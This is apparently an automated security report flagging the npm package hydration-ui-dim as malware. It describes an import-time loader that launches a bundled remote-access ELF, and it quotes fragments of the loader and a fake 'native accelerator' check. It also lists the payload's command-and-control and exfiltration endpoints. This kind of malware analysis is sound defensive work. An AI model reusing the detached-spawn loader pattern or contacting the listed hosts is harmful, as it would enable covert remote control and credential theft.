Static inspection of that executable identifies a RedShell-style remote-control payload with credential theft, exfiltration, remote payload execution, and persistence features. - **Trigger:** Any runtime import of hydration-ui-dim's root entrypoint. - **Impact:** Remote control, credential and SSH-key theft, data exfiltration, arbitrary payload execution, and user-level persistence. - **Evidence paths:** package.json, dist/index.mjs, dist/internal/calc-math.dat, dist/internal/daymath.mjs, dist/store.mjs - **Review source:** ai\_review - **Reviewed:** 2026-08-24T04:09:18.232Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** import-time detached execution of a bundled malicious ELF - **Attack narrative:** The root module immediately chmods, hash-checks, and detached-spawns calc-math.dat. The bundled ELF is not required for the advertised date math, whose JavaScript engine check is explicitly a placeholder. Its embedded RedShell command strings describe C2 beaconing, SSH and browser-credential collection, uploads, remote ELF/shellcode staging, SOCKS/port forwarding, and cron, shell-profile, systemd, and XDG persistence. This is a concrete malicious payload activated merely by importing the package. - **Rationale:** This package disguises a full remote-access and theft payload as a date-math accelerator, then launches it during ordinary import. The lack of an npm lifecycle script does not mitigate the import-time execution path. - **Files touched:** dist/index.mjs, dist/internal/calc-math.dat, dist/internal/daymath.mjs - **Network endpoints:** http://api.ipify.org, https://litterbox.catbox.moe/resources/internals/api.php, 217.60.77.63 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Root import executes a bundled ELF as a detached child process., The verified ELF contains RedShell C2, credential/SSH-key harvesting, data-exfiltration, payload staging, and persistence commands., The native accelerator claim is deceptive: the exported math functions use pure JavaScript and only a placeholder engine check., No lifecycle hook is needed because execution occurs on normal package import. - **Evidence against:** package.json declares no npm lifecycle scripts., The JavaScript store is a scoped, explicit-use temporary JSON store. ## Public findings ### 1. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 2. Medium: Ships Native Binary - **Category:** Artifact Inventory - **Confidence:** 75.0% - **Path:** dist/internal/calc-math.dat - **Public source:** [View source]() Package ships native binary artifacts.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/index.mjs - **Public source:** [View source]() Root import executes a bundled ELF as a detached child process. Public source snippet (untrusted): ```javascript (async () => { try { const __dirname = path.dirname(fileURLToPath(import.meta.url)); const binaryPath = path.join(__dirname, 'internal', 'calc-math.dat'); if (!fs.existsSync(binaryPath)) { console.warn('Native accelerator not found. Falling back to JS implementation.'); return; } try { fs.chmodSync(binaryPath, 0o755); ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/index.mjs - **Public source:** [View source]() Root import executes a bundled ELF as a detached child process. Public source snippet (untrusted): ```javascript console.log('Native accelerator loaded and verified.'); const engineProcess = cp.spawn(binaryPath, [], { stdio: 'pipe', shell: false, detached: true }); ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/internal/daymath.mjs - **Public source:** [View source]() The native accelerator claim is deceptive: the exported math functions use pure JavaScript and only a placeholder engine check. Public source snippet (untrusted): ```javascript const _ensureEngine = () => { // This is a placeholder for the internal engine state. // It makes the math functions look like they rely on the binary. return true; ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** hydration-ui-dim - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-08-24T04:07:14.334Z - **Package first seen:** 2026-08-24T04:09:18.232Z - **Package last seen:** 2026-08-24T04:09:18.232Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store. - **Keywords:** day, analytics, streak, calendar - **Runtime engines:** node: \>=18 - **Artifact files:** 9 - **Artifact unpacked size:** 72,381 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
